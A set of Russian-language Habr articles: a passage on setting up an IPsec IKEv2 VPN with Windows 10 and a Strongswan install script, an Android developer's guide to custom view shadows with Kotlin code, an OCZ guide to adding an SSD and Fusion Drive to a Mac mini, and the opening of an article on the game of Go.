IPSec быстрый. Он работает в контексте ядра операционной системы, а OpenVPN в контексте пользователя (userspace), и на обработку каждого пакета происходит переключение контекста между процессами ядра и процессами пользователя.
Современные ОС (исключая мобильные) поддерживают IPsec IKEv2 из коробки. Не требуется установка дополнительного прикладного ПО, драйверов виртуальных адаптеров TUN/TAP и тому подобного. Настройка VPN-соединений происходит из системного меню.
Настройка VPN-подключения в ОС Windows 10
-----------------------------------------
**Рассмотрим пример настройки VPN-подключения на основе IKEv2**
IKE (Internet Key Exchange) — реальный управляющий протокол IPsec на основе ISAKMP. На практике можно сказать, что Phase 1 — согласование настроек IKE, а Phase 2 — согласование настроек ESP.
В UNIX-подобных системах IKE — это единственная часть стека IPsec, которая работает в виде обычного процесса. Само шифрование реализовано в ядре, и демон IKE передаёт ему параметры после согласования со второй стороной. В Linux это происходит через netlink или команды ip xfrm.
Мастер настройки VPN-подключения вызывается из меню «Пуск».
Выбираем пункт «Добавить VPN-подключение» и переходим в окно настройки VPN-соединений.
Идём в пункт «Добавить VPN-подключение» и попадаем в окно настройки параметров подключения.
Заполняем поля:
1) Поставщик услуг – «Windows (встроенные)» (других вариантов и нет).
2) Имя подключения – произвольное название (главное, чтобы можно было отличить от других подключений, если они будут).
3) Имя или адрес сервера – адрес сервера VPN (через который и организуется VPN-подключение).
4) Тип VPN – в нашем примере IKE2. Но могут использоваться и более старые протоколы (SSTP, PPTP). Присутствует и вариант «автоматического» выбора типа подключения на основе поддерживаемых сервером.
5) Тип данных для входа – имеется в виду способ аутентификации. Главным образом используются традиционные входы по «логин/пароль» или с применением сертификата.
6) «Имя пользователя», «Пароль».
Настройка сервера VPN
---------------------
Развернуть свой IKEv2 сервер можно за пару минут с помощью скриптов автоматической установки или используя готовые контейнеры. Использовать docker не рекомендуется, так как его сетевая подсистема снижает производительность IPsec на дешевых тарифах VPS. Вы также можете настроить IKEv2-сервер вручную, на Хабре есть статьи с примерами настройки сервера Strongswan.
Мы будем использовать один из наиболее удачных вариантов скриптов автонастройки github.com/jawj/IKEv2-setup
Этот скрипт хорош тем, что использует сертификаты от Let’s Encrypt и автоматически генерирует валидный сертификат.
### Шаг 1: Выбор сервера
Для развёртывания VPN-сервера нам потребуется Vcd. Подойдет самая простая конфигурация с одним ядром процессора. Скрипт из нашего примера лучше всего протестирован на Ubuntu, поэтому при создании сервера используем этот образ ОС.
Ждём окончания установки сервера, настраиваем сеть и записываем учётные данные для подключения.
### Шаг 2: Установка Strongswan
Подключаемся по SSH, загружаем и запускаем скрипт установки:
```
# запуск автоматической установки сервера IKEv2
wget https://raw.githubusercontent.com/jawj/IKEv2-setup/master/setup.sh
chmod u+x setup.sh
./setup.sh
....
# Введите имя домена направленного на IP-адрес сервера
# используйте сервис sslip.io если у вас нет домена
Hostname for VPN: myvpn.sslip.io
# Имя пользователя VPN
VPN username: user-test
# пароль
VPN password (no quotes, please):
....
# скрипт запрос создать нового SSH-пользователя, этот шаг нельзя пропускать.
```
### Шаг 3: Настройка клиента
Заданные реквизиты пользователя VPN теперь нужно использовать для настройки подключения на узле клиента. Необходимо указать именно то доменное имя, которое вы вводили в Hostname for VPN.
### Шаг 4: Добавление новых пользователей
Чтобы добавить нового пользователя в уже созданный сервер, отредактируйте файл */etc/ipsec.secrets*.
```
# nano /etc/ipsec.secrets
123-45-67-89.sslip.io : RSA "privkey.pem"
coolguy : EAP "C00lPassword"
badguy : EAP "bAdP$$word"
```
Выводы
------
Мне кажется, что с точки зрения пользователя IKEv2/IPsec выглядит предпочтительнее других реализаций VPN. Настройки и управление таким сервером как минимум не труднее, чем аналогичного на OpenVPN. При организации удалённого доступа в корпоративной среде вполне подходит IKEv2. Это позволит обойтись без лишних телодвижений, проще в настройке и обслуживании.
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Как открыть сейф с помощью ручки](https://habr.com/ru/company/cloud4y/blog/670048/)
→ [Сделайте Linux похожим на Windows 95](https://habr.com/ru/company/cloud4y/blog/653949/)
→ [Как распечатать цветной механический телевизор на 3D-принтере](https://habr.com/ru/company/cloud4y/blog/668962/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [Взлёт и падение игрового чипа 6502](https://habr.com/ru/company/cloud4y/blog/674940/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. А ещё напоминаем про второй сезон нашего сериала ITить-колотить. Его можно посмотреть на [YouTube](https://www.youtube.com/c/Cloud4yRuNo1)и [ВКонтакте](https://vk.com/video/playlist/-114833493_1).
Свежая серия<https://youtu.be/8arneYYzsJw> | https://habr.com/ru/post/680178/ | null | ru | null |
# Всем выйти из сумрака: как добавить тень на Android
Когда заходит речь про тени на Android, возникает сразу несколько вопросов. Первый: зачем они нужны? Второй: почему нельзя использовать системные тени и жить счастливо? Третий: если нельзя использовать системные тени, как реализовать кастомные?
Это Сергей Петров, Android-разработчик в команде Design System inDrive, и вместе мы поговорим о тенях на Android.
На второй вопрос вам ответят дизайнеры. Возможно, вы попытаетесь убедить их в том, что системные тени мы получаем почти бесплатно, с минимальными трудозатратами и максимальной производительностью. Вероятно, вы приведете в качестве аргумента соответствие гайдлайнам Material.
Искренне надеюсь, что ваша стойкость и убедительность позволит вам и дальше использовать `elevation` для отрисовки теней. Если нет — придется искать ответ на третий вопрос.
Оговорюсь, что изначально я пробовал подобрать нужные значения параметров для системных теней. В Android, начиная с API 21, доступны атрибуты темы [ambientShadowAlpha](https://developer.android.com/reference/android/R.attr#ambientShadowAlpha) и [spotShadowAlpha](https://developer.android.com/reference/android/R.attr#spotShadowAlpha). С помощью них можно регулировать глобальные настройки прозрачности теней.
А позже в API 28 добавили возможность настраивать цвета теней через атрибуты темы [outlineAmbientShadowColor](https://developer.android.com/reference/android/R.attr#outlineAmbientShadowColor) и [outlineSpotShadowColor](https://developer.android.com/reference/android/R.attr#outlineSpotShadowColor), а также свойства `View` — [outlineAmbientShadowColor](https://developer.android.com/reference/android/view/View.html#attr_android:outlineAmbientShadowColor) и [outlineSpotShadowColor](https://developer.android.com/reference/android/view/View.html#attr_android:outlineSpotShadowColor).
Elevation
---------
Попробуем подобрать подходящий `elevation` и прозрачность тени, и посмотрим, что из этого получится.
У нас в дизайне есть три разновидности теней (представлены на картинке ниже):
* S — размер 12dp.
* M — размер 20dp.
* L — размер 32dp.
У каждой тени свои настройки прозрачности и смещения по оси Y. На смещение мы влиять не можем, но хотя бы попробуем подобрать значения прозрачности. Сложность в том, что до API 28 эти значения глобальны в рамках темы. Задать разным по стилю теням разные прозрачности, как в дизайне, возможности нет. К тому же, цвет тени в дизайне не черный, как в дефолтном Android. Что ж, попробуем добиться хотя бы примерного сходства.
Долго и усердно подбираем значения, примерно подходящие всем трем теням сразу.
```
// тема
0.01
0.08
// настройки elevatiom
12dp
24dp
30dp
```
Тень S — дизайнТень S — elevation 8dpТень M — дизайн
Тень M — elevation 24dp
Тень L — дизайнТень L — elevation 30dp
Кажется, получается довольно неплохо. Тень S слегка отличается, но две другие выглядят сносно. Настроить точнее при помощи общих настроек прозрачности вряд ли получится, но, начиная с API 28, можно получить совсем точное совпадение.
Получается, задача решена, и можно убеждать дизайнера, что тень S будет слегка отличаться от дизайна. В конце концов, пользователь вряд ли это заметит, да и кто вообще из пользователей Android обращает внимание на такие мелочи.
Но оказалось, что не все так просто. В Android два источника света: ambient light, который светит во все стороны, и key light — светит направленно. Кому интересно, [в этой статье](https://medium.com/android-news/mastering-shadows-in-android-e883ad2c9d5b) очень хорошо и с картинками раскрыта эта тема.
Источники света в AndroidТот, что светит сверху под углом, и есть key light. Он дает ярко выраженную тень в нижней части объекта. И вот, что происходит с тенью, особенно при больших `elevation`, по мере отдаления от верхней части экрана.
Тень L — элемент в верхней части экрана
Тень L — элемент в нижней части экранаКак в жизни: чем дальше от источника света, тем длиннее тень. Можно ли на это повлиять? В [данной статье](https://blog.sebastiano.dev/playing-with-elevation-in-android-part-2/) в разделе Don’t try this at home утверждается, что да, но у меня не получилось. Но даже если бы и получилось, и на код-ревью закрыли глаза на этот очевидный хак, это не решило проблемы полностью. Где бы не размещался источник света, тени в любом случае были бы неравномерными. Причина тому — большой `elevation`, необходимый для достижения нужного эффекта.
Изрядно расстроившись, переходим к плану Б — рисовать тень самостоятельно.
MaterialShapeDrawable
---------------------
Раз не получилось с `elevation`, попробуем другой бесплатный метод. Вспоминаем, что в Material библиотека имеет поддержку теней и на античных устройствах. Давайте посмотрим на реализацию.
Заглядываем внутрь [MaterialShapeDrawable](https://developer.android.com/reference/com/google/android/material/shape/MaterialShapeDrawable) и видим, что они на пару с неким [ShadowRenderer](https://github.com/material-components/material-components-android/blob/master/lib/java/com/google/android/material/shadow/ShadowRenderer.java) занимаются интересными вещами. По заданным параметрам формы тень отрисовывается при помощи шейдеров [LinearGradient](https://developer.android.com/reference/android/graphics/LinearGradient) и [RadialGradient](https://developer.android.com/reference/android/graphics/RadialGradient). То есть, тень — это градиент вокруг формы.
Идея интересная, попробуем ее в действии. Для этого сделаем простую кастомную вьюшку и посмотрим, что получится.
```
val shape = ShapeAppearanceModel.builder()
.setAllCornerSizes(16.toPx())
.build()
val drawable = MaterialShapeDrawable(shape)
drawable.fillColor = ColorStateList.valueOf(Color.WHITE)
drawable.shadowVerticalOffset = 8.toPx()
drawable.shadowRadius = 32.toPx()
drawable.shadowCompatibilityMode = MaterialShapeDrawable.SHADOW_COMPAT_MODE_ALWAYS
background = drawable
```
Тень MaterialShapeDrawableКажется, работает, но есть пару негативных моментов. Во-первых, настройки прозрачности градиента зашиты в [ShadowRenderer](https://github.com/material-components/material-components-android/blob/master/lib/java/com/google/android/material/shadow/ShadowRenderer.java). Чтобы сделать тень по своим параметрам, придется собирать код, разбросанный по нескольким классам, и копировать в проект.
Во-вторых, производительность решения оставляет желать лучшего. Ради интереса решено было повесить на вьюшку аниматор, который менял ее размер, и посмотреть, как будет работать отрисовка. Лаги, даже на релизной сборке, были заметны невооруженным глазом, что подтвердил и `systrace`.
Время отрисовки кадра — 18 миллисекундВремя отрисовки одного кадра — 18 миллисекунд. Это только `draw` одной вьюшки на экране. А `draw` — довольно частая операция 🙂
Пожалуй, поищем другое решение. Но, стоит сказать, что идею с `Drawable` и отрисовкой тени за пределами собственных границ `View` я взял именно здесь.
Как еще нарисовать тень
-----------------------
В процессе поиска ответа на этот вопрос нашлись еще 3 способа, помимо указанных выше.
1. [Paint.setShadowLayer](https://developer.android.com/reference/android/graphics/Paint#setShadowLayer(float,%20float,%20float,%20int)) — самый простой и понятный. Минимум кода, отлично работает при наличии аппаратного ускорения (что для современных устройств — стандарт).
2. [BlurMaskFilter](https://developer.android.com/reference/android/graphics/BlurMaskFilter) — второй по простоте, чуть больше кода, работает также отлично.
3. [ScriptIntrinsicBlur](https://developer.android.com/reference/android/renderscript/ScriptIntrinsicBlur) — пожалуй, еще сложнее, также смущает статус Deprecated и [рекомендации по миграции](https://developer.android.com/guide/topics/renderscript/migrate).
Есть еще [экзотический способ](https://github.com/harjot-oberai/MaterialShadows), у меня он не завелся, и я так до конца и не понял, как это работает. Если заведете и разберетесь, напишите в комментариях.
Раскрывать эти пункты не вижу смысла. Есть масса статей с примерами, в частности, [вот эта](https://medium.com/@yuriyskul/different-ways-to-create-glowing-shapes-in-android-canvas-8b73010411fe). Для себя решил взять самый простой способ. Если что-то пойдет не так, можно попробовать следующий.
Анализ требований
-----------------
Допустим, со способом определились. Теперь сформулируем, что в итоге хотим получить. В идеальном мире это должно быть также удобно, как указать `elevation`.
Размер тени не должен влиять на размер и позицию `View` на экране. Представляете, каково подбирать отступы или центрировать `View`, на размеры которой влияет отбрасываемая ей тень? Наличие тени не должно влиять на верстку существующих экранов.
Кроме того, должна быть возможность указать параметры тени в XML (в верстке или в стиле) и, что немаловажно, увидеть результат в превью Android Studio.
Еще нужно уметь отрисовать тень у любых `View`, вне зависимости от того, есть ли у них фон или `elevation`. И совсем хорошо, если время отрисовки не будет занимать весь фрейм.
Также определимся, что тень у нас отбрасывает только простая форма: прямоугольник (со скругленными углами или без), овал, и возможно модный [squircle](https://en.wikipedia.org/wiki/Squircle), если не удастся отговорить дизайнеров.
Суммарно все это звучит, как необходимость наследоваться от нужных `View` и расширять их функционал. При этом логику построения и отрисовки тени можно вынести в общий вспомогательный класс. Так реализация тени в компонентах превратится в тривиальную задачу.
План решения:
* Создадим `Drawable`, умеющий рисовать тень определенной формы.
* Напишем `View`, использующий этот `Drawable`.
* Измерим производительность решения.
NinePatchDrawable
-----------------
В одной [замечательной статье](https://habr.com/ru/company/citymobil/blog/652955/) про тени на Android от этой идеи отказались. Статья действительно замечательная, но почему-то не попалась мне на глаза в тот момент, когда я искал решение.
Итак, что такое 9-patch и зачем он нужен? Тут мне, как старому разработчику игр на [Marcomedia Flash](https://en.wikipedia.org/wiki/Macromedia_Flash) (да упокой Господь его душу вместе с душой Стива), нужно смахнуть ностальгическую слезу. Эту технику я впервые повстречал там, а [«Википедия»](https://en.wikipedia.org/wiki/9-slice_scaling) утверждает, что именно там она впервые и была придумана.
Суть данного метода заключается в том, чтобы поделить растровое изображение на 9 частей, и при изменении размеров растягивать все области, кроме углов. Так совсем небольшое исходное изображение можно растягивать до произвольных размера без искажений и потери качества.
Таким образом, экономится и память (размер `Bitmap` минимален), и процессорное время (отдать `Bitmap` на отрисовку почти ничего не стоит). Ну а GPU только дай `Bitmap` порисовать.
К счастью, Android дает возможность разработчикам создавать [NinePatchDrawable](https://developer.android.com/reference/android/graphics/drawable/NinePatchDrawable) программно. А поскольку и форма фигуры и параметры тени известны — задача тривиальная.
Реализация
----------
Определим параметры и форму тени:
```
data class ShadowSpec(
@ColorInt val shadowColor: Int = Color.TRANSPARENT,
@Px val shadowOffsetX: Float = 0f,
@Px val shadowOffsetY: Float = 0f,
@Px val shadowSize: Float = 0f,
val cornerSize: CornerSize? = null,
val cornerSizeTopLeft: CornerSize? = null,
val cornerSizeTopRight: CornerSize? = null,
val cornerSizeBottomLeft: CornerSize? = null,
val cornerSizeBottomRight: CornerSize? = null
)
```
Для построения формы было решено использовать [ShapeAppearanceModel](https://developer.android.com/reference/com/google/android/material/shape/ShapeAppearanceModel), а также [ShapeAppearancePathProvider](https://developer.android.com/reference/com/google/android/material/shape/ShapeAppearancePathProvider), который на основе этой модели построит [Path](https://developer.android.com/reference/android/graphics/Path), используемый для конечной отрисовки.
В коде это выглядит так:
```
// строим форму - спасибо исходникам Material
val path = Path()
val provider = ShapeAppearancePathProvider()
val model = ShapeAppearanceModel.Builder()
.setTopLeftCorner(CornerFamily.ROUNDED, topLeftCornerSize)
.setTopRightCorner(CornerFamily.ROUNDED, topRightCornerSize)
.setBottomLeftCorner(CornerFamily.ROUNDED, bottomLeftCornerSize)
.setBottomRightCorner(CornerFamily.ROUNDED, bottomRightCornerSize)
.build()
provider.calculatePath(model, 1f, RectF(0f, 0f, width, height), path)
```
Форма есть, теперь посчитаем, сколько займет тень — радиус тени плюс смещение. Есть еще параметр `SHADOW_SPREAD_MULTIPLIER`, чуть увеличивающий область для того, чтобы все непрозрачные пиксели поместились в итоговый `Bitmap`.
```
// на глаз подбираем размер тени при размытии так,
// чтобы все непрозрачные пиксели отрисовывались в итоговой области.
with(spec) {
val spreadOffset = shadowSize * SHADOW_SPREAD_MULTIPLIER
spreadBounds.set(
(spreadOffset - shadowOffsetX).coerceAtLeast(0f),
(spreadOffset - shadowOffsetY).coerceAtLeast(0f),
(spreadOffset + shadowOffsetX).coerceAtLeast(0f),
(spreadOffset + shadowOffsetY).coerceAtLeast(0f)
)
}
```
Минимально необходимый же размер `Bitmap` считается как радиусы скругления углов формы плюс размер самой тени. Границы `9.patch` тоже считаются тривиально.
```
// определяем границы углов
val left = max(topLeftCornerSize, bottomLeftCornerSize)
val top = max(topLeftCornerSize, topRightCornerSize)
val right = max(topRightCornerSize, bottomRightCornerSize)
val bottom = max(bottomLeftCornerSize, bottomRightCornerSize)
// минимальный размер исходя из формы, с некоторым запасом
val width = max(left + right, dp20) + 2 * dp1
val height = max(top + bottom, dp20) + 2 * dp1
// размер Bitmap
val bitmapWidth = width + spreadBounds.left + spreadBounds.right
val bitmapHeight = height + spreadBounds.top + spreadBounds.bottom
// области для 9.patch
val leftChunk = left + spreadBounds.left
val topChunk = top + spreadBounds.top
val rightChunk = bitmapWidth - right - spreadBounds.right
val bottomChunk = bitmapHeight - bottom - spreadBounds.bottom
```
Приступим к отрисовке. Мы используем [Paint.setShadowLayer](https://developer.android.com/reference/android/graphics/Paint#setShadowLayer(float,%20float,%20float,%20int)) и после вырезаем форму, оставляя ~~земле~~ лишь тень на случай, если элемент с тенью решит стать полупрозрачным.
```
// готовим инструменты для отрисовки
val paint = Paint(Paint.ANTI_ALIAS_FLAG).apply {
color = spec.shadowColor
setShadowLayer(spec.shadowSize, spec.shadowOffsetX, spec.shadowOffsetY, spec.shadowColor)
}
val clearPaint = Paint(Paint.ANTI_ALIAS_FLAG).apply {
xfermode = PorterDuffXfermode(PorterDuff.Mode.CLEAR)
}
val matrix = Matrix()
matrix.postTranslate(spreadBounds.left, spreadBounds.top)
path.transform(matrix)
// отрисовываем форму с тенью и вырезаем саму форму
canvas.drawPath(path, paint)
canvas.drawPath(path, clearPaint)
```
На выходе получаем такую аккуратную картинку. Зелеными линиями на ней показана сетка, в соответствии с которой будет происходить растяжение. C помощью этой `Bitmap` можно отрисовать форму любого размера с тенью S и углами 16dp.
Bitmap для NinePatchDrawableОстается лишь «запечатать» ее в `NinePatchDrawable`. API не самый простой, но [StackOverflow](https://stackoverflow.com/a/16676419) не бросит в трудную минуту.
```
// строим drawable
drawable = NinePatchDrawable(
context.resources,
NinePatchUtils.getNinePatch(
bitmap = bitmap,
left = leftChunk.roundToInt(),
top = topChunk.roundToInt(),
right = rightChink.roundToInt(),
bottom = bottomChunk.roundToInt()
)
)
```
Использование
-------------
Поместив всю реализацию в класс `ShadowRenderer` на 200 строк, можем создать `ShadowView` и попробовать его в действии. Тут нужно обратить внимание на три момента.
Во-первых, придется отключить `outlineProvider` для того, чтобы убрать нативную тень, которую дает elevation. Сам `elevation` мы хотим сохранить по понятным причинам. К тому же, `outlineProvider` не позволит нам нарисовать тень за пределами собственных границ `ShadowView`, если вдруг включить `clipToOutline`.
Во-вторых, нужно отключить `clipChildren` у родительского контейнера — тень мы хотим снаружи, а не внутри границ `View`.
Тень обрезается границами ViewТретий момент обнаружился, когда я попробовал применить к `ShadowView` полупрозрачность (для наглядности сделаю тень красной).
Оказалось, что при alpha меньше единицы клиппинг у `View` включается автоматически, обрезая тень. Но тут я отделался легким испугом. Достаточно было прочитать документацию к методу [View.setAlpha](https://developer.android.com/reference/android/view/View#setAlpha(float)) и опять обрести душевный покой.
> Starting with `Build.VERSION_CODES.M`, setting a translucent alpha value will clip a View to its bounds, unless the View returns `false` from`hasOverlappingRendering()`.
>
>
Посмотрим на наш `ShadowView`. За минусом конфигурации получаем 3 метода.
```
override fun hasOverlappingRendering(): Boolean {
// по умолчанию View не отрисовывает за своими границами,
// если alpha < 1 (см setAlpha)
// переопределяем это поведение, если есть видимая тень
return !shadowSpec.isShadowVisible
}
override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {
super.onSizeChanged(w, h, oldw, oldh)
shadowRenderer.setSize(w, h)
}
override fun draw(canvas: Canvas) {
shadowRenderer.draw(canvas)
super.draw(canvas)
}
```
Конечно, методов там чуть больше. Есть еще автоматическое отключение `chipChildren` у контейнера, отключение `outlineProvider`, установка параметров тени из стиля/программно — все то, что мы с вами так любим писать в кастомных вьюшках. Но в действительности процесс создания компонента с тенью выглядит просто.
Производительность
------------------
Я был практически уверен, что в этом отношении проблем не возникнет по причинам, описанным выше. Так и произошло.
Время отрисовки кадра — 1 миллисекундаСценарий тот же самый, что и с `MaterialShapeDrawable`: один `ShadowView` на экране и аниматор, меняющий его размеры.
Естественно, процесс создания `Bitmap` тоже не бесплатен, но визуально в трейсе найти его не удалось — все фреймы коротенькие и ровненькие, как на подбор. Ставить в код метку для трейса и выяснять точное количество миллисекунд было уже лень.
Но есть и ложка дегтя. Поскольку у объектов круглой формы скругления углов зависят от ширины или высоты, то изменение размера влечет за собой пересоздание `Bitmap` и `NinePatchDrawable`. Тогда картина заметно ухудшается, в районе 20мс на фрейм.
Вариантов решения два. Первый — пропускать генерацию `Bitmap` и рисовать тень на канвасе с помощью Paint напрямую в каждом вызове `draw`. Второй — указать большие значения радиуса углов, достаточные для отрисовки овала. Так получим большую исходную `Bitmap`, но зато отрисовка останется мгновенной.
Можно еще улучшить производительность, использовав [LruCache](https://developer.android.com/reference/android/util/LruCache). Разновидностей тени у нас всего 3, форм тоже немного. Поэтому хранение и использование уже сгенерированных `Bitmap` повторно реализовать достаточно просто. Но до этого еще не дошли руки, да и пока не было необходимости.
Заключение
----------
Стоила ли игра свеч? Определенно да. Тени стали выглядеть гораздо лучше, чем стандартный `elevation`.
Можно ли использовать стандартный `elevation`? Тоже да, но лучше избегать больших значений. Настройки прозрачности могут дать неплохие результаты.
Нужно ли писать свое собственное решение, когда есть много библиотек? Думаю, тоже да. Так вы получите именно то, что нужно вам. Тем более, Android почти все дает из коробки, поэтому решение получится компактным.
Что с Compose? С Compose все будет хорошо, скоро, [скоро](https://issuetracker.google.com/issues/160665122). | https://habr.com/ru/post/696006/ | null | ru | null |
# Что дает установка SSD в Mac mini?
Привет, Geektimes! Если у вас вдруг завалялся Mac mini 2011 или 2012 года выпуска (а, может быть, вы до сих пор пользуетесь им как основным), не спешите отправлять этого «малыша» на покой раньше времени. Самый доступный компьютер в линейке Apple довольно хорошо поддается апгрейду, и с SSD вы можете дать ему вторую жизнь.
[](https://geektimes.ru/company/ocz/blog/272750/)
Вообще, самые распространенные способы заставить Mac mini работать быстрее — установка большего количества ОЗУ или твердотельного накопителя. И если «оперативкой» вы уже прокачали компьютер по-максимуму, самое время посмотреть в сторону пусть и сложного, но не менее действенного решения. А там уже и Fusion Drive можно будет настроить, раз такая тема пошла. Но об этом чуть позже.
Итак, вы созрели и решили установить дополнительный накопитель в Mac mini. Если покупка версии Server влетает в копеечку, то самостоятельный апгрейд хранилища при помощи SSD — наиболее бюджетный способ. Кроме того, здесь у вас развязываются руки: можно поставить любой подходящий накопитель, который нравится, причем любой емкости, и не идти на поводу у производителя.
Как вы догадались, мы все-таки рекомендуем посмотреть в сторону [линейки SSD от OCZ](http://ru.ocz.com/consumer/ssd-guide/ssd-comparison), и вовсе не потому, что это наш блог. Во-первых, в нашей линейке можно найти накопитель практически на любой вкус и потребности, а во-вторых, многие из них подходят для установки в качестве второго накопителя для Mac mini.
Единственный, кто сразу «отлетает» — RevoDrive 350. Но вовсе не из-за своих показателей — он отлично выдает 1800 МБ/с на чтение и 1700 МБ/с на запись. Все дело в форм-факторе и интерфейсе — FH/HL и PCIe Gen. 2 x 8 нам ну никак не подойдут. Но не надо расстраиваться, достойных накопителей, поверьте, хватает.
С линейкой SSD от OCZ в общем виде мы вас уже [знакомили](https://geektimes.ru/company/ocz/blog/270322/), так что пробежимся лишь по основным моментам, которые могут пригодиться для нашего конкретного случая. Многие устанавливают SSD в Mac mini для настройки Fusion Drive или просто переноса системы на твердотельный накопитель. Здесь версии на 120 ГБ/240 ГБ будет предостаточно, да и сама Apple использует SSD в минимальной конфигурации (правда, во многом из-за экономии). Но речь не об этом. Важно определиться, для каких целей будет использоваться SSD, чтобы подобрать его правильно. Для задачи, описанной выше, запросто подойдут Trion 150 и ARC 100, у Trion 150 скорость будет даже побольше. Оба накопителя обладают хорошими показателями, выносливостью до 219 ГБ/день, да еще и три года гарантии по [ShieldPlus](https://geektimes.ru/company/ocz/blog/267398/) идут в комплекте.
Если хотите запускать на компьютере игры (да, игр на Mac уже много, причем довольно качественных), а также работать с соответствующими приложениями (тот же Final Cut Pro или Logic Pro), обратите внимание на Vertex 460A и Radeon R7. У последнего показатели максимального случайного чтения и записи составляют 100,000 IOPS и 95,000 IOPS, есть 4 года гарантии по ShieldPlus и контроллер Barefoot 3 M00.
Хардкорщики, конечно, будут в восторге от связки терабайтного HDD и SSD на 960 ГБ, которая будет работать как часы с Vector 180. Такой симбиоз и высокотребовательные игры потянет, и программы для работы с тяжелой графикой. Решение, конечно, на любителя — скорее для тех, кто привык выжимать из своего компьютера все соки.
Зачем вообще нужен SSD в Mac mini, спросите вы? Ну, начнем с того, что сейчас данный компьютер в схожей комплектации обойдется почти в 80 тысяч рублей вместо 6-10 тысяч рублей за SSD. А стандартный HDD на 500 ГБ со скоростью вращения 5400 об/мин (Apple ставит такие диски даже в новые компьютеры, какой ужас) выдаст в среднем такие показатели, как на скриншоте ниже.
Так что здесь это уже, как видите, жизненная необходимость. Поэтому скорее выбирайте накопитель по своим потребностям, и давайте приступим к самой установке — наиболее интересному и сложному процессу.
Для начала нам потребуется специальный набор для установки SSD — как правило, он состоит из отверток со специальными насадками, резиновых втулок, шлейфа, диэлектрической лопатки и других элементов, которые могут пригодиться в процессе. Подобный комплект можно встретить много где в Сети, например у [iFixit](https://www.ifixit.com/Store/Mac/Mac-Mini-Dual-Drive-Kit/IF171-005-1). Цена вопроса — около двух тысяч рублей. По сравнению с покупкой нового компьютера или Mac с Fusion Drive из коробки это просто смех.
С таким комплектом уже можно приступать к установке. После того, как вы откроете крышку, необходимо открутить два винта (11,3 мм Torx T6), которые держат вентилятор.
Отключаем вентилятор и достаем его — он нам пока не понадобится. После этого откручиваем один винт (3,5 мм Torx T6) у пластины, приподнимаем и достаем её.
Настало время отключить модуль Wi-Fi. Потребуется открутить два винта (6,6 мм Torx T8) и еще парочку (5,0 мм Torx T8). После этого главное — отключить антенну модуля Wi-Fi от платы AirPort при помощи диэлектрической лопатки.
Затем отключите коннектор жесткого диска от материнской платы — опять же, при помощи специальной лопатки, а также инфракрасный датчик.
Откручиваем три винта, как на рисунке ниже — они закрепляют материнскую плату. Эти винты откручиваются с помощью: 5,0 мм (Torx T8), 16,2 мм (Torx T6) и 26 мм (Torx T6).
Отключаем кабели питания и материнской платы, после чего вынимаем её. После этого можно заняться извлечением жесткого диска и блока питания. Для установки твердотельного накопителя также необходимо снять и сам лоток, в котором находился жесткий диск.
В этот лоток вставляем четыре резиновые втулки.
Подключаем к накопителю шлейф, выгибаем его, как на рисунке, а затем вкручиваем два установочных винта (используем Torx T6).
Наконец, устанавливаем SSD, закрепив его в лотке. После этого можно приступать к сборке, но строго в том же порядке. Жесткий диск советуем подключать уже после материнской платы — он помещается прямо на SSD и соединяется шлейфом.
В целом процедура занимает около часа — новичкам, соответственно, понадобится больше времени, а профессионалы могут управиться и за 30-40 минут. Советуем не торопиться, чтобы потом не пришлось все переделывать.
Многие эксперты присваивают установке SSD в Mac mini одну из высших категорий сложности и неудивительно: по сути вы полностью разбираете компьютер. Но сделан он настолько логично и правильно, что сам процесс разборки/сборки даже способен доставить удовольствие. Если вы не уверены в своих силах, лучше, конечно, обратиться к мастеру, но уже со своим SSD, который вы выбрали несколькими этапами ранее.
Итак, мы получили целых два накопителя — один HDD, другой SSD. Сразу после включения компьютера OS X отобразит оба накопителя: в целом, связкой уже можно начинать пользоваться. Однако особого толка от нее не будет, если вы оставите все, как есть. Необходимо либо переставить систему на SSD, либо вовсе настроить Fusion Drive. Последняя технология, правда, на любителя, но многие пользователи Mac, у которых она есть прямо из коробки, вроде пока не жаловались.
Если уж и начинать новую жизнь, то делать это с чистого листа. Для установки Fusion Drive нам понадобится загрузочная флешка и немного терпения.
Включаем Mac mini с зажатой клавишей Option и выбираем SSD в качестве загрузочного диска. Затем открываем терминал и смотрим, какие номера присвоены нашим накопителям — вводим команду *diskutil list*. Как правило, это disk0 и disk1, но в некоторых случаях номера могут различаться.
После этого создаем единую группу томов, используя параметр CoreStorage. Поможет эта команда:
```
diskutil cs create Fusion disk0 disk1
```
Записываем имя объединенной группы томов (Logical Volume Group) в виде 12AF7FVB-1440-E3F4-NV4F-AX86DVQW и затем форматируем все в формат HFS+ при помощи команды ниже:
```
diskutil cs createVolume 12AF7FVB-1440-E3F4-NV4F-AX86DVQW jhfs+ Fusion 100%
```
Все, теперь у вас есть Fusion Drive, а не просто связка HDD + SSD. Устанавливаем систему и наслаждаемся её быстрой работой. Да, еще быстрее, чем тогда, когда вы только достали свой Mac mini из коробки.
Есть одно «но» — с FD можно несколько потерять в скорости, но даже при его наличии показатели накопителя вас приятно удивят. Кстати, на OS X El Capitan связка работает более стабильно, имейте ввиду, если по каким-то причинам еще не обновились, а то в июне уже новая версия на подходе.
Не бойтесь экспериментировать и давать своим старым компьютерам новую жизнь, ведь SSD можно установить не только в Mac mini, MacBook Pro или iMac, но и компьютеры на Windows. Главное — соблюдать предельную внимательность на каждом этапе. А дальше за вас все сделают твердотельные накопители от OCZ — захотите вы поставить на них систему или просто использовать для хранения важной информации. | https://habr.com/ru/post/371947/ | null | ru | null |
# Го — неведомые земли
***Стратегия ведения войны такова: существуют рассеивающие местности,
ненадежные местности, спорные местности,
пересекающиеся местности, узловые местности,
трудные местности, местности-ловушки,
окруженные местности и смертельные местности.
Сунь Цзы "[Искусство войны](http://fight.uazone.net/history/iv0.html)"***
Есть люди, которым надоедает всё привычное. В своих поисках нового, они совершают открытия, изобретают, творят. Они делают нашу жизнь лучше, во всех её проявлениях. Го не является исключением.
**Вступительное замечание**Материал этой статьи предполагает знакомство читателя с базовыми концепциями игры [Го](https://ru.wikipedia.org/wiki/%D0%93%D0%BE). Желающие могут ознакомиться с ними, прочитав предыдущие статьи цикла:
* [Жизнь и смерть](http://geektimes.ru/post/240456/)
* [Ко](http://geektimes.ru/post/240680/)
* [Го — единство в многообразии](http://geektimes.ru/post/241844/)
